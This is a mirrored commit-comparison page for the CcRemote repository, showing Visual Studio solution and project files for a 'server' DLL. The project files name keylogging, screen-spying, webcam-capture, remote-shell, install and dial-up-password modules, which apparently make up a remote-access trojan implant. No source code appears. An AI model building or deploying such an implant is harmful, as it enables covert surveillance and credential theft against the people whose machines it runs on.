mirror of
https://github.com/Cc28256/CcRemote.git
synced 2025-08-19 23:21:44 +00:00
Compare commits
33 Commits
20200514
...
20200612.1
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
7512936a9c | ||
|
|
feb20dcd4e | ||
|
|
d7f2bcec1c | ||
|
|
fda76bbbd1 | ||
|
|
eed525d3f5 | ||
|
|
41c189a5a7 | ||
|
|
d3ad76272a | ||
|
|
2afd8019a8 | ||
|
|
d12cd9d6ac | ||
|
|
208be40ccb | ||
|
|
3d3b2ce49a | ||
|
|
cd670fdaed | ||
|
|
2cee9bb467 | ||
|
|
c95afb225a | ||
|
|
5261d32d51 | ||
|
|
2349891948 | ||
|
|
4bd0451420 | ||
|
|
ef7c96720c | ||
|
|
d38532055a | ||
|
|
d396e8777e | ||
|
|
1bc9a890b1 | ||
|
|
2fe1905f47 | ||
|
|
3b5ea5b85d | ||
|
|
e1bbb1530f | ||
|
|
6a882cb6f4 | ||
|
|
96fb9dcecc | ||
|
|
a47ca50009 | ||
|
|
270ad0fd3c | ||
|
|
8be9451190 | ||
|
|
c7adb801d6 | ||
|
|
d4827aa147 | ||
|
|
434c8dbacf | ||
|
|
848bf9f560 |
BIN
CcMainDll/.vs/CcMainDll/v15/.suo
Normal file
BIN
CcMainDll/.vs/CcMainDll/v15/.suo
Normal file
Binary file not shown.
41
CcMainDll/CcMainDll.sln
Normal file
41
CcMainDll/CcMainDll.sln
Normal file
@@ -0,0 +1,41 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 15
|
||||
VisualStudioVersion = 15.0.28307.1082
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CcMainDll", "CcMainDll\CcMainDll.vcxproj", "{912043E1-526F-4C23-AF8B-0D76C07F5723}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestLoadDll", "TestLoadDll\TestLoadDll.vcxproj", "{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Debug|x64.Build.0 = Debug|x64
|
||||
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Debug|x86.Build.0 = Debug|Win32
|
||||
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Release|x64.ActiveCfg = Release|x64
|
||||
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Release|x64.Build.0 = Release|x64
|
||||
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Release|x86.ActiveCfg = Release|Win32
|
||||
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Release|x86.Build.0 = Release|Win32
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Debug|x64.Build.0 = Debug|x64
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Debug|x86.Build.0 = Debug|Win32
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x64.ActiveCfg = Release|x64
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x64.Build.0 = Release|x64
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x86.ActiveCfg = Release|Win32
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {65608601-21C9-427B-B6B6-253BC293B2BA}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
292
CcMainDll/CcMainDll/CcMainDll.vcxproj
Normal file
292
CcMainDll/CcMainDll/CcMainDll.vcxproj
Normal file
@@ -0,0 +1,292 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>15.0</VCProjectVersion>
|
||||
<ProjectGuid>{912043E1-526F-4C23-AF8B-0D76C07F5723}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>CcMainDll</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<OutDir>..\..\bin\server</OutDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<OutDir>..\..\bin\server</OutDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>false</ConformanceMode>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<AdditionalOptions>/Zc:stricStrings %(AdditionalOptions)</AdditionalOptions>
|
||||
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;Shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO /Zc:strictStrings %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>false</ConformanceMode>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalOptions>/Zc:stricStrings %(AdditionalOptions)</AdditionalOptions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;Shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO /Zc:strictStrings %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\common\Audio.h" />
|
||||
<ClInclude Include="ClientSocket.h" />
|
||||
<ClInclude Include="common\AudioManager.h" />
|
||||
<ClInclude Include="common\Buffer.h" />
|
||||
<ClInclude Include="common\Dialupass.h" />
|
||||
<ClInclude Include="common\filemanager.h" />
|
||||
<ClInclude Include="common\install.h" />
|
||||
<ClInclude Include="common\KernelManager.h" />
|
||||
<ClInclude Include="common\KeyboardManager.h" />
|
||||
<ClInclude Include="common\Manager.h" />
|
||||
<ClInclude Include="common\RegEditEx.h" />
|
||||
<ClInclude Include="common\ScreenManager.h" />
|
||||
<ClInclude Include="common\ScreenSpy.h" />
|
||||
<ClInclude Include="common\ShellManager.h" />
|
||||
<ClInclude Include="common\SystemManager.h" />
|
||||
<ClInclude Include="common\until.h" />
|
||||
<ClInclude Include="common\VideoCap.h" />
|
||||
<ClInclude Include="common\VideoManager.h" />
|
||||
<ClInclude Include="DynamicAPI.h" />
|
||||
<ClInclude Include="framework.h" />
|
||||
<ClInclude Include="pch.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\common\Audio.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\CcMainDll\CcMainDll\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\CcMainDll\CcMainDll\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ClientSocket.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\AudioManager.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\Buffer.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\Dialupass.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\FileManager.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
||||
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">/Zc:strictStrings %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">/Zc:strictStrings %(AdditionalOptions)</AdditionalOptions>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\install.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\KernelManager.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Use</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\KeyboardManager.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\Manager.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\RegEditEx.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Use</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\ScreenManager.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\ScreenSpy.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\ShellManager.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\SystemManager.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\until.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\VideoCap.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\VideoManager.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="dllmain.cpp" />
|
||||
<ClCompile Include="pch.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
144
CcMainDll/CcMainDll/CcMainDll.vcxproj.filters
Normal file
144
CcMainDll/CcMainDll/CcMainDll.vcxproj.filters
Normal file
@@ -0,0 +1,144 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="源文件">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="头文件">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="资源文件">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="framework.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="pch.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\Buffer.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\until.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ClientSocket.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\KernelManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\KeyboardManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\RegEditEx.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\Manager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\SystemManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\AudioManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\..\common\Audio.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\Dialupass.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\filemanager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\ScreenManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\ShellManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\ScreenSpy.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\VideoManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\VideoCap.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="DynamicAPI.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\install.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="dllmain.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="pch.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ClientSocket.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\Buffer.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\until.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\KeyboardManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\RegEditEx.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
